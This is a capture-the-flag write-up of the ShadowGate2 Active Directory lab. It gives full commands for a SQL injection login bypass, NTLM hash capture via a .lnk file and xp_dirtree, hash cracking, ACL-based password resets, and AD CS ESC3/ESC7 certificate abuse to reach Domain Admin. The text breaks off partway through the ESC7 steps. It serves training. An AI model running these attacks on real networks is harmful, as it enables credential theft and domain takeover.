> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/shadowgate2.md).

# ShadowGate2

{% embed url="<https://www.hacksmarter.org/courses/6f9f20a1-0381-4e65-8456-6a278f5b2918>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

ShadowGate provides cybersecurity solutions for global enterprises. They are in the process of getting SOC 2 certified, and have hired Hack Smarter to perform an internal network penetration test. Find all vulnerabilities and, if possible, elevate your privileges to Domain Admin.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided with VPN access to their network, but no other information.

{% hint style="info" %}
This lab offers various approaches. The two intended approaches are described in detail. Alternative shortcuts and paths can be found at the end of the write-up.
{% endhint %}

## Summary

<details>

<summary>Summary</summary>

In ShadowGate2, we begin with internal enumeration of the Domain Controller `SG-DC01.shadowgate.local`, exposing DNS `53`, Kerberos `88`/`464`, LDAP `389` with GC on `3268`/`3269` (no LDAPS), signed SMB on `445`, IIS on `80`, two MSSQL instances on `1433`/`54311`, RDP `3389`, WinRM `5985`, and certificates issued by an internal `Shadowgate-CA` hinting at AD CS. Anonymous/guest SMB fails, so we pivot to the web service.

The root site's team page leaks staff info, and FFuF vhost fuzzing reveals `dev.shadowgate.local`, an upload portal reviewed by `mitch.r`.

A SQLi login bypass logs us in as `mitch.r`. Since uploads are reviewed by `mitch.r`, we craft a `.lnk` with `ntlm_theft.py`, catch the NTLMv2 hash with Responder, and crack it via `hashcat`. SMB access as `mitch.r` reveals a readable but empty `dev$` share.

BloodHound shows `mitch.r` has `ForceChangePassword` over `milo.w`, who holds `WriteOwner` over `svc_mssql`. We reset `milo.w`'s password, take ownership of `svc_mssql`, grant ourselves `GenericAll`, and reset its password. MSSQL login requires `-windows-auth`; no databases or `xp_cmdshell` are accessible, but `xp_dirtree` coerces an NTLM auth to Responder, leaking and cracking `bogdan.r`'s hash.

Further BloodHound enumeration shows `bogdan.r` has `GenericAll` over `oscar.m` member of `shadow-gate-it-support` and `daniel.r`. We reset `oscar.m`'s password but the `STATUS_INVALID_LOGON_HOURS` is set. Clearing the `logonHours` attribute via `bloodyAD` fixes this, granting a WinRM shell and the user flag.

Writable-object enumeration then reveals full control over the deleted `sam.h` account, plus an email describing `sam.h` as AD CS's former, still-privileged Manage-CA officer. We restore the account, and BloodHound shows `shadow-gate-it-support` has `GenericAll` over it, letting us take over `sam.h`.

With `certipy` we finda `ESC3` on the `Shadowgate-EnrollmentAgent` template and ESC7 via `sam.h`'s direct CA permissions. `ESC3`: request an Enrollment Agent cert, then a `User` cert on-behalf-of Administrator. `ESC7`: add `sam.h` as CA officer, enable `SubCA`, then request/approve/retrieve a cert impersonating Administrator's SID. Either path yields an Administrator certificate; `evil-winrm` grants a DC shell and the root flag at `C:\Users\Administrator\Desktop\root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.0.21.34 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.21.34 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/6dk6toGg2qRetkXRoQnG" alt=""><figcaption></figcaption></figure>

The target `10.0.21.34` is a Domain Controller `SG-DC01.shadowgate.local` for the domain `shadowgate.local`. DNS is exposed on port `53`  and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP is available on port `389`, with the Global Catalog on ports `3268` and `3269`. There is no LDAPS `636` open in this scan. SMB is exposed via port `445` only, with message signing enabled and required. A web server is hosting a `ShadowGate | Advanced Cyber Security Solutions` page on port `80`. Two Microsoft SQL Server 2019 (15.00.2000.00 RTM) instances are present, listening on ports `1433` and `54311`, both presenting self-signed fallback certificates. Remote management and access are available through RDP on port `3389` (leaking NetBIOS domain `SHADOWGATE`, hostname `SG-DC01`, and OS build `10.0.17763`) and WinRM on port `5985`. The host also exposes a .NET Message Framing service on port `9389`, RPC over HTTP on ports `593` and `49669`, and numerous additional MSRPC endpoints on ports `135`, `49664`–`49671`, `49677`, `49692`, `49694`, `49711`, and `49737`. The LDAP/GC service certificates are issued by an internal `Shadowgate-CA`, indicating Active Directory Certificate Services is deployed in the environment.

<figure><img src="/files/qwMRRGu8rYGj3ehfAo7m" alt=""><figcaption></figcaption></figure>

### SMB

We try to authenticate anonymously and via `guest` against SMB using NetExec, but without success. The account is disabled. Nevertheless, we generate a hosts file entry with the following command:

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.21.34 -u guest -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="/files/wZMTSR8Ugt71y7OZSgfB" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.0.21.34     SG-DC01.shadowgate.local shadowgate.local SG-DC01
```

{% endcode %}

### WEB

We proceed to the website on port `80` on the domain controller and initially find only a static page. The team site exposes some valuable information about each Team member and Including activities and areas of responsibility.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.21.34/
```

{% endcode %}

<figure><img src="/files/yRgxSZHfmEIB34kOFnHC" alt=""><figcaption></figcaption></figure>

Also, a directory scan does not reveal any useful endpoints.

We perform a VHOST scan using FFuF and are able to identify the vhost `dev`.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.shadowgate.local" -u http://shadowgate.local -fw 23964
```

{% endcode %}

<figure><img src="/files/2D8pNmxIHT1SdCPm31Gs" alt=""><figcaption></figcaption></figure>

We add the following to our `/etc/hosts` file:

{% code overflow="wrap" expandable="true" %}

```
10.0.21.34     SG-DC01.shadowgate.local shadowgate.local SG-DC01 dev.shadowgate.local
```

{% endcode %}

Next, we visit the dev page and find a file upload portal that requires credentials.

{% code overflow="wrap" expandable="true" %}

```
http://dev.shadowgate.local/
```

{% endcode %}

<figure><img src="/files/5L9FlTISfc0dmOnjgjA0" alt=""><figcaption></figcaption></figure>

One piece of information stands out in particular: all uploaded files are reviewed by the user `mitch.r`. This suggests we may be able to carry out an NTLM hash capture attack by uploading a file that contains a reference back to our Responder listener, potentially intercepting `mitch.r`'s NTLM hash which when then could attemt to crack it offline

{% code overflow="wrap" expandable="true" %}

```
Security Review: All uploaded files are reviewed and processed by mitch.r
```

{% endcode %}

## Access as admin&#x20;

We're trying to bypass the login using a simple SQL injection payload. We try an AND injection, specifying the username `admin`, and it works. However, it appears we're logged in as `mitch.r`.

{% code overflow="wrap" expandable="true" %}

```
admin' AND 1=1 -- -
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
http://dev.shadowgate.local/
```

{% endcode %}

<figure><img src="/files/Bu3l73ZoL85HkP009Gam" alt=""><figcaption></figcaption></figure>

We get redirected to `http://dev.shadowgate.local/upload/upload.aspx` allowing us to upload files.

{% code overflow="wrap" expandable="true" %}

```
http://dev.shadowgate.local/upload/upload.aspx
```

{% endcode %}

<figure><img src="/files/v1Ry0PV4Ud7csFZEL5V1" alt=""><figcaption></figcaption></figure>

## Access as mitch.r

We prepare the file using `ntlm_theft.py`.

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

{% code overflow="wrap" expandable="true" %}

```
 ntlm_theft.py -g all -s 10.200.69.148 -f project
```

{% endcode %}

<figure><img src="/files/71cCx0YvkGGwEFAHxLDj" alt=""><figcaption></figcaption></figure>

We spin up Responder to catch the hash.

{% code overflow="wrap" expandable="true" %}

```
responder -I tun0  
```

{% endcode %}

<figure><img src="/files/9kUdUpXuptbfP9WIV7oH" alt=""><figcaption></figcaption></figure>

And upload the resulting `.lnk` file from our `ntlm_theft.py` script.

<figure><img src="/files/fZqrHzf6rbsDOszWb5wB" alt=""><figcaption></figcaption></figure>

After a short delay, we retrieve the hash of the user `mitch.r`.

<figure><img src="/files/5cc6V8twyfxF1Wzbqxoo" alt=""><figcaption></figcaption></figure>

We try to crack the NTLMv2-SSP hash and are successful.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m5600 mitchr.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/BvdNcBrqamTnN5fpJ69n" alt=""><figcaption></figcaption></figure>

We try to authenticate with the credentials against SMB on the storage and DC machines using NetExec while enumerating the shares. We successfully authenticate. We also spot the `dev$` share, to which we have read access.

{% code overflow="wrap" expandable="true" %}

```
nxc smb SG-DC01.shadowgate.local -u mitch.r -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/Jij2YkQP2yvEV9hI9O36" alt=""><figcaption></figcaption></figure>

But it does not contain any useful files.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py 'shadowgate.local/mitch.r:REDACTED@SG-DC01.shadowgate.local'
```

{% endcode %}

<figure><img src="/files/NBBjb1C9v159QLG9QuFF" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

Now that we have a domain user's credentials and access, we start enumerating the domain using BloodHound.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'mitch.r' -p 'REDACTED' -d shadowgate.local -dc SG-DC01.shadowgate.local -ns 10.0.21.34 -c All --zip
```

{% endcode %}

<figure><img src="/files/ouRVwcw3pr3Bt2iLCImk" alt=""><figcaption></figcaption></figure>

From the outbound object control, we can see that we have a rule to change the passwords for users `milo.w` and `ryan.j` using the `ForceChangePassword` permission.

<figure><img src="/files/LYUEloJrQQpE0o5Bvq3z" alt=""><figcaption></figcaption></figure>

We query the `Shortest path from Owned objects` and see that we can reach `svc_mssql` through `milo.w`, who holds the `WriteOwner` permission. By granting ourselves ownership of `svc_mssql`, we can gain full control over the object and change the service account's password.&#x20;

Using the `mssql_svc` account, we can then gain access to the service on port `1433` and potentially achieve remote code execution thorugh `xp_cmdshell`. If that is the case, we can exploit the `SeImpersonatePrivilege` set for the service account using a potato exploit and thus gain access as the NT Authority system. But let's first see what's possible.

<figure><img src="/files/Mo1jbFegFBcec3qnuuDC" alt=""><figcaption></figcaption></figure>

We query for all Domain Admins but only find the Administrator user as the domain admin.

<figure><img src="/files/nn18rK3PC0jKMq13M3cN" alt=""><figcaption></figcaption></figure>

## Access as milo.w

We follow the attack path from `mitch.r` to `svc_mssql` via `milo.w`. To do this, we first need access to the `milo.w`'s account, which we obtain by changing the password using the `ForceChangePassword` permission. We change the password.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u mitch.r -p 'REDACTED' set password 'milo.w' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/9tLiMVxqMAlmeYcKUHTY" alt=""><figcaption></figcaption></figure>

We test the access of `milo.w` using NetExec and successfully authenticate against the domain controller.

{% code overflow="wrap" expandable="true" %}

```
nxc smb SG-DC01.shadowgate.local -u milo.w -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/0VzUd8wYpjrg3g8AUhlN" alt=""><figcaption></figcaption></figure>

## Access as svc\_mssql

Next, we take ownership of  `mssql_svc` via the compromised account `milo.w` and then grant ourselves `FullControl` so that we can change the service account's password.

We set ourself as owner using bloodyAD.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u milo.w -p 'Pwned123@!' set owner 'svc_mssql' 'milo.w'
```

{% endcode %}

<figure><img src="/files/RZn6EBumJJbX56UxpDgl" alt=""><figcaption></figcaption></figure>

Next, we grant full control over the object...

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u milo.w -p 'Pwned123@!' add genericAll 'svc_mssql' 'milo.w'
```

{% endcode %}

<figure><img src="/files/GkKuPR2TA49xFE8m1QS8" alt=""><figcaption></figcaption></figure>

... and change the password of the service account.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u milo.w -p 'Pwned123@!' set password 'svc_mssql' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/gd6FiWCIPTREah91mHfg" alt=""><figcaption></figcaption></figure>

We test the access of `svc_mssql` using NetExec and successfully authenticate against the domain controller.

{% code overflow="wrap" expandable="true" %}

```
nxc smb SG-DC01.shadowgate.local -u svc_mssql -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/qYH1JdU54TKY1hcq8YSr" alt=""><figcaption></figcaption></figure>

## Access as bogdan.r

We try to connect to the MSSQL service with the new set credentials but our login attempt fails. By default mssqlclient.py attempts SQL Serverauthentication, so it treats `svc_mssql` as a SQL login rather than a domain/local Windows account and since that account might only exists as a Windows credential, the login fails.

{% code overflow="wrap" expandable="true" %}

```
mssqlclient.py 'svc_mssql:Pwned123@!'@shadowgate.local
```

{% endcode %}

<figure><img src="/files/zIQpgIaIJ2FKSnvAfznG" alt=""><figcaption></figcaption></figure>

With the `-windows-auth` flag we switch the to NTLM authenticatio and the login succeeds.

{% code overflow="wrap" expandable="true" %}

```
mssqlclient.py 'svc_mssql:Pwned123@!'@shadowgate.local -windows-auth
```

{% endcode %}

<figure><img src="/files/romfolidijkKX5RlrwJz" alt=""><figcaption></figcaption></figure>

{% embed url="<https://hackviser.com/tactics/pentesting/services/mssql>" %}

We enumerate the database...

{% code overflow="wrap" expandable="true" %}

```
SELECT name FROM sys.databases;
```

{% endcode %}

<figure><img src="/files/4pJo6G5MH6DLot6vIqMV" alt=""><figcaption></figcaption></figure>

... but do now have access to any of the databases.

{% code overflow="wrap" expandable="true" %}

```
USE ShadowGate;
```

{% endcode %}

<figure><img src="/files/IIUwRjXxGk3v2YcPG4Xw" alt=""><figcaption></figcaption></figure>

Also we are not able to get remote code execution via `xp_cmdshell`.

What else we can try is to catch an NTLMv2 hash by forcing a connection to our share via `xp_dirtree`. For this, we set up Responder.

{% code overflow="wrap" expandable="true" %}

```
responder -I tun0
```

{% endcode %}

<figure><img src="/files/5s1Qj0qIvicNlo1ldgxP" alt=""><figcaption></figcaption></figure>

We connect to our share...

{% code overflow="wrap" expandable="true" %}

```
EXEC xp_dirtree '\\10.200.69.148\share';
```

{% endcode %}

<figure><img src="/files/RSH4uUo1fmuxhLc0TAd3" alt=""><figcaption></figcaption></figure>

... and receive the NTLMv2 hash of the user account `bogdan.r`.

<figure><img src="/files/pFhjFwfYNG8rSSPtKiQL" alt=""><figcaption></figcaption></figure>

We try to crack the hash and are successful.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m5600 bogdanr.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/QkM21tJZXhP3t7EgYk26" alt=""><figcaption></figcaption></figure>

Next, we test the access of `bogdan.r` using NetExec and successfully authenticate against the domain controller.

{% code overflow="wrap" expandable="true" %}

```
nxc smb SG-DC01.shadowgate.local -u bogdan.r -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/7vxcVghRL85xBT39uiyt" alt=""><figcaption></figcaption></figure>

We can also connect via evil-winrm but there is no flag.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i shadowgate.local -u bogdan.r -p 'REDACTED'
```

{% endcode %}

<figure><img src="/files/8xwoG6aui4YBcJQzVHYg" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration II

Since we gained access to another user account we have not yet identified in our attack path we check the users permission in our BloodHound data. Here we see that the user has GenericAll permission over `oscar.m` and `daniel.r` allowing us to take over the accounts via a password change.

<figure><img src="/files/DvR6GOJcsWnlo83TdVCN" alt=""><figcaption></figcaption></figure>

We mark the user as owned and query for the shortest path from owned objects again. We see that the user oscar.m is member of the `shadow-gate-it-support`. This might be a high value target.

<figure><img src="/files/Gg7bDETXvHtQBCYVCv8Y" alt=""><figcaption></figcaption></figure>

## Shell as oscar.m

We change the password of `oscar.m`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u bogdan.r -p 'REDACTED' set password 'oscar.m' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/xOMZ92uCx5ESqKhQpqip" alt=""><figcaption></figcaption></figure>

And test the access of `oscar.m` using NetExec without success. We receive the error message `STATUS_INVALID_LOGON_HOURS`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb SG-DC01.shadowgate.local -u oscar.m -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/2rAy5nvleGYmCJOwuQNj" alt=""><figcaption></figcaption></figure>

The flag `STATUS_INVALID_LOGON_HOURS` means the account authenticated fine but hit AD's `logonHours` attribute restriction. The current time falls outside the allowed window. This has nothing to do with the password, so no need to touch that.

The `logonHours` is a 21-byte bitmask (168 bits = 7 days × 24 hours). If it's `NULL`/unset, logon is unrestricted by default.&#x20;

The `GenericAll` permission lets us clear it outright with bloodyAD's `set object` module:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u bogdan.r -p 'REDACTED' set object oscar.m logonHours
```

{% endcode %}

<figure><img src="/files/it9uAj0wMIP2JhGQ9wYr" alt=""><figcaption></figcaption></figure>

We try to authenticate as `oscar.m` using NetExec again, and we authenticate successfully.

{% code overflow="wrap" expandable="true" %}

```
nxc smb SG-DC01.shadowgate.local -u oscar.m -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/uVbs9OFY8RQt8zNGmErk" alt=""><figcaption></figcaption></figure>

We leverage evil-winrm for a shell and find the user flag at `C:\Users\oscar.m\Desktop\user.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i shadowgate.local -u oscar.m -p 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/3nKwiyP7tdBAQeSQX1i8" alt=""><figcaption></figcaption></figure>

## Restore sam.h

With the access we gathered so far and the sessions available we do not find any ways to escalate our privileges as such users. As a last resort we enumerate the writable objects to identify an alternative path that is not covered in the BloodHound data and see that we can recover the account `sam.h`:

**CN=Users (CREATE\_CHILD):** We can create new objects, such as users or groups, inside this container.

**CN=S-1-5-11 in ForeignSecurityPrincipals (WRITE):** We can modify this object, which represents the Authenticated Users group.

**CN=oscar.m (WRITE)**: We can edit our own account's attributes.

**CN=sam.h (deleted) (CREATE\_CHILD; WRITE / WRITE OWNER / WRITE DACL)**: We have full control over the deleted sam.h object, so we can take ownership, rewrite its permissions, and manipulate it including restoring it and taking control of the account.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u oscar.m -p 'Pwned123@!' get writable
```

{% endcode %}

<figure><img src="/files/gfyhcSqCtQPhukTf4oC6" alt=""><figcaption></figcaption></figure>

If we had looked more carefully we would also find a mail from mitch.r to oscar.m pointing out that the organization's certificate authority is currently in a vulnerable, unmanaged state. The user sam.h the former Manage-CA officer has left but his account hasn't been removed, no replacement has been appointed, and a known ESC-related misconfiguration exists in AD CS that could allow illegitimate certificate enrollment or privilege escalation. So lets recover that user.

{% code overflow="wrap" expandable="true" %}

```
cat "C:/Users/oscar.m/Mails/termination_notice_sam_h.eml"
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
certificate issuance management (Manage-CA)
```

{% endcode %}

<figure><img src="/files/Kgyev4DqKHlPiB6wi8f1" alt=""><figcaption></figcaption></figure>

We restore the account with the follwing command.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u oscar.m -p 'Pwned123@!' set restore 'sam.h'
```

{% endcode %}

<figure><img src="/files/UvN8xunuc1hhy9C7tUyZ" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration III <a href="#bloodhound-enumeration-ii" id="bloodhound-enumeration-ii"></a>

Let's enumerate the domain again, since the user `sam.h` was missing from our BloodHound data before we recovered it.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'mitch.r' -p 'REDACTED' -d shadowgate.local -dc SG-DC01.shadowgate.local -ns 10.0.21.34 -c All --zip
```

{% endcode %}

<figure><img src="/files/KJcsXJ5Uq2iERhHrUIDU" alt=""><figcaption></figcaption></figure>

We see that the `shadowgate-it-support` has `GenericAll` permissions over sam.h which would allow us to take over the account via a password change through `oscar.m`. With access as sam.h we could enumerate for and escalate through misconfigured AD CS certificate templates.

<figure><img src="/files/86ROCzun36En62bHrb56" alt=""><figcaption></figcaption></figure>

## Access as sam.h

We change the password of `sam.h`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u oscar.m -p 'Pwned123@!' set password 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/uq6rbIKZzJDDviCkW6E9" alt=""><figcaption></figcaption></figure>

Next, we test the access of `sam.h` using NetExec and successfully authenticate against the domain controller.

{% code overflow="wrap" expandable="true" %}

```
nxc smb SG-DC01.shadowgate.local -u sam.h -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/e2Ph2n0sG0olIrfbVKf2" alt=""><figcaption></figcaption></figure>

## AD CS Enumeration

We try to find vulnerable certificates using certipy, but we receive a timeout using `sam.h`'s account.

Certipy defaulted to LDAPS port `636` which either isn't enabled on the DC or is blocked, so we force plain `ldap` port `389` with `-ldap-scheme ldap` got the bind through.&#x20;

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 'sam.h@shadowgate.local' -p 'Pwned123@!' -dc-ip 10.0.21.34 -target SG-DC01.shadowgate.local -vulnerable
```

{% endcode %}

<figure><img src="/files/B0tvgUBWMhcBdxXVr32w" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 'sam.h@shadowgate.local' -p 'Pwned123@!' -dc-ip 10.0.21.34 -target SG-DC01.shadowgate.local -vulnerable -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/WNpNfOv3ww0HJ8Q3So79" alt=""><figcaption></figcaption></figure>

We are able to identify an `ESC3` and `ESC7` misconfiguration which would grant us access as Administrator to the domain controller.

{% code overflow="wrap" expandable="true" %}

```
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "Shadowgate-CA",
      "DNS Name": "SG-DC01.shadowgate.local",
      "Certificate Subject": "CN=Shadowgate-CA, DC=shadowgate, DC=local",
      "Certificate Serial Number": "3DADB967D3C30DB94A9620C07D4332B0",
      "Certificate Validity Start": "2025-12-07 17:37:04+00:00",
      "Certificate Validity End": "2124-12-07 17:47:04+00:00",
      "Web Enrollment": {
        "http": {
          "enabled": false
        },
        "https": {
          "enabled": false,
          "channel_binding": null
        }
      },
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Permissions": {
        "Owner": "SHADOWGATE.LOCAL\\Administrators",
        "Access Rights": {
          "512": [
            "SHADOWGATE.LOCAL\\Authenticated Users",
            "SHADOWGATE.LOCAL\\sam.h"
          ],
          "1": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins",
            "SHADOWGATE.LOCAL\\Administrators",
            "SHADOWGATE.LOCAL\\sam.h"
          ],
          "2": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins",
            "SHADOWGATE.LOCAL\\Administrators"
          ],
          "256": [
            "SHADOWGATE.LOCAL\\sam.h"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "SHADOWGATE.LOCAL\\sam.h",
        "SHADOWGATE.LOCAL\\Authenticated Users"
      ],
      "[+] User ACL Principals": [
        "SHADOWGATE.LOCAL\\sam.h"
      ],
      "[!] Vulnerabilities": {
        "ESC7": "User has dangerous permissions."
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "Shadowgate-EnrollmentAgent",
      "Display Name": "Shadowgate-EnrollmentAgent",
      "Certificate Authorities": [
        "Shadowgate-CA"
      ],
      "Enabled": true,
      "Client Authentication": false,
      "Enrollment Agent": true,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        33554432,
        2147483648
      ],
      "Enrollment Flag": [
        32
      ],
      "Private Key Flag": [
        16
      ],
      "Extended Key Usage": [
        "Certificate Request Agent"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Schema Version": 2,
      "Validity Period": "2 years",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Template Created": "2025-12-07 17:51:15+00:00",
      "Template Last Modified": "2025-12-07 17:51:19+00:00",
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "SHADOWGATE.LOCAL\\sam.h",
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "SHADOWGATE.LOCAL\\Administrator",
          "Full Control Principals": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "SHADOWGATE.LOCAL\\sam.h"
      ],
      "[!] Vulnerabilities": {
        "ESC3": "Template has Certificate Request Agent EKU set."
      }
    }
  }
}
```

{% endcode %}

<figure><img src="/files/gdS9lUVNyWHShcF1eUxy" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/14KG1TDJfVN8SmSLnFob" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DNwR3lnVRID7HOj29QHO" alt=""><figcaption></figcaption></figure>

## Shell as Administrator via ESC3

If not already done, we'll add the Certificate Authority to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.0.21.34     SG-DC01.shadowgate.local shadowgate.local SG-DC01 dev.shadowgate.local Shadowgate-CA
```

{% endcode %}

Next we follow the depicted ESC3 route from the certipy wiki:

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc3-enrollment-agent-certificate-template>" %}

**Step 1: Obtain an Enrollment Agent certificate**

{% code overflow="wrap" expandable="true" %}

```
certipy req \
    -u 'sam.h@shadowgate.local' -p 'Pwned123@!' \
    -dc-ip '10.0.21.34' -target 'SG-DC01.shadowgate.local' \
    -ca 'Shadowgate-CA' -template 'Shadowgate-EnrollmentAgent' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/ABEpYhkdZq1eybBtsOew" alt=""><figcaption></figcaption></figure>

**Step 2: Use the Enrollment Agent certificate to request a certificate on behalf of the target user**

{% code overflow="wrap" expandable="true" %}

```
certipy req \
    -u 'sam.h@shadowgate.local' -p 'Pwned123@!' \
    -dc-ip '10.0.21.34' -target 'SG-DC01.shadowgate.local' \
    -ca 'Shadowgate-CA' -template 'User' \
    -on-behalf-of 'SHADOWGATE\Administrator' \
    -pfx 'sam.h.pfx' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/B1i8qIc8m0u6uFqKRJWT" alt=""><figcaption></figcaption></figure>

**Step 3: Authenticate using the "on-behalf-of" certificate**

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.21.34' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/bDpsAj5I0sGMiKIEpyQB" alt=""><figcaption></figcaption></figure>

With the resulting hash we connect as Administrator to the domain controller using evil-winrm and find the flag at `C:\Users\Administrator\Desktop\root.txt`.

<figure><img src="/files/G3XpyEL7PSo0GX1k2tqX" alt=""><figcaption></figcaption></figure>

## Shell as Administrator via ESC7

As an alternative approach we can follow the ESC7 route.

Next, we follow the depicted ESC7 route from the certipy wiki:

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc7-dangerous-permissions-on-ca>" %}

**Step 1: (If needed, as facilitated by `Manage CA`) Ensure capability to approve requests**

{% code overflow="wrap" expandable="true" %}

```
certipy ca \
    -u 'sam.h@shadowgate.local' -p 'Pwned123@!' \
    -ns '10.0.21.34' -target 'SG-DC01.shadowgate.local' \
    -ca 'Shadowgate-CA' -add-officer 'sam.h' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/tOFD3kwfifwaO6IG84t6" alt=""><figcaption></figcaption></figure>

**Step 2: (If needed) Ensure the `SubCA` template is enabled on the CA**

{% code overflow="wrap" expandable="true" %}

```
certipy ca \
    -u 'sam.h@shadowgate.local' -p 'Pwned123@!' \
    -ns '10.0.21.34' -target 'SG-DC01.shadowgate.local' \
    -ca 'Shadowgate-CA' -enable-template 'SubCA' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/YxwlhmyMbjYZGpHEhyAf" alt=""><figcaption></figcaption></figure>

**Step 3: Submit a certificate request using the `SubCA` template (expected to fail initially if no direct enrollment rights)**

